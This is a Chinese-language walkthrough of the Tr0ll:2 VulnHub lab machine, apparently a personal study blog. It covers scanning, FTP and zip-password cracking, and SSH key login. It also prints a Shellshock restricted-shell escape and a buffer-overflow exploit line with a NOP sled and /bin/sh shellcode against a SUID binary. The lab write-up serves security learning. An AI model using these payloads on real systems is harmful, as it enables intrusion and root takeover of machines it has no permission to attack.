VulnHub-Tr0ll:2 靶场渗透测试
时间:2021.2.18
靶场信息:
地址:https://www.vulnhub.com/entry/tr0ll-2,107/
发布日期:2014年10月24日
目标:Tr0ll系列VM中的下一台计算机。 这比原始的Tr0ll难度有所提高,但是解决所需的时间大致相同,并且没有错,巨魔仍然存在! :)
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测的结果可知,靶机的IP为192.168.137.136
2、扫描开放的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.137.136
得到开放的端口信息:
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
3、网站信息收集
查看源代码得到一个用户名Tr0ll
之前探测到开放了ftp服务,我们用这个用户进行登录
登录成功后发现一个压缩包,将它下载到本地,解压之后发现要输入密码,这里可能漏掉了一个信息,我们会去找找看
访问robots.txt,给了我们很多路径名,一个个尝试太慢了
我们将它下载到本地
然后用dirb去跑一下robots.txt
发现有四个是可以访问的,我们用浏览器打开看看
将图片下载到本地分析一下
tail -n 3 cat_the_troll.jpg
根据最后一句话可知,它让我们深入了解y0ur_self,我们试试在浏览器打开看看,发现这里有一个answer.txt
打开answer文件全是base64值
我们先将它下载到本地,然后解码
base64 -d answer.txt > decode.txt
这个应该是密码字典,那就用这个字典对前面那个zip进行破解,这里使用Fcrackzip这款工具
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统
fcrackzip -u -D -p decode.txt lmao.zip
破解得到密码为ItCantReallyBeThisEasyRightLOL,然后解压得到noob文件,查看发现是SHA256私钥,猜测可能用来登录ssh
试了试发现的登录失败
看到提示运行的是/usr/bin/xauth,并不是/bin/bash,这里有三种方法
ssh -i noob noob@192.168.137.136 -t "/bin/sh"
ssh -i noob noob@192.168.137.136 -t "bash --noprofile"
ssh -i noob noob@192.168.137.136 -t "() { :; }; /bin/bash"
登录以后,没发现有什么有用的文件,直接上msf
命令:gdb -q r00t(加载执行r00t程序发生溢出时来跟踪EIP的值)
命令:set disassembly-flavor intel(转换为intel格式的汇编)
命令:disas main(显示main函数对应的汇编代码)
使用Metasploit中的pattern_create.rb脚本生成字符序列
命令:cd /usr/share/metasploit-framework/tools/exploit/(进入msf的EXP库)
命令:./pattern_create.rb -l 500(可以看到我们只要在pattern_create.rb脚本的后面加上-L字符序列长度就可以生成指定长度的字符序列,查看了500的长度即可)
这边R跑下这个值,提示故障表示已经溢出了:0x6a413969
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
总结
这台靶机的难度太大了,主要是后面缓冲区溢出方面的,还需要花时间去学习一下。
趁着年轻,多学些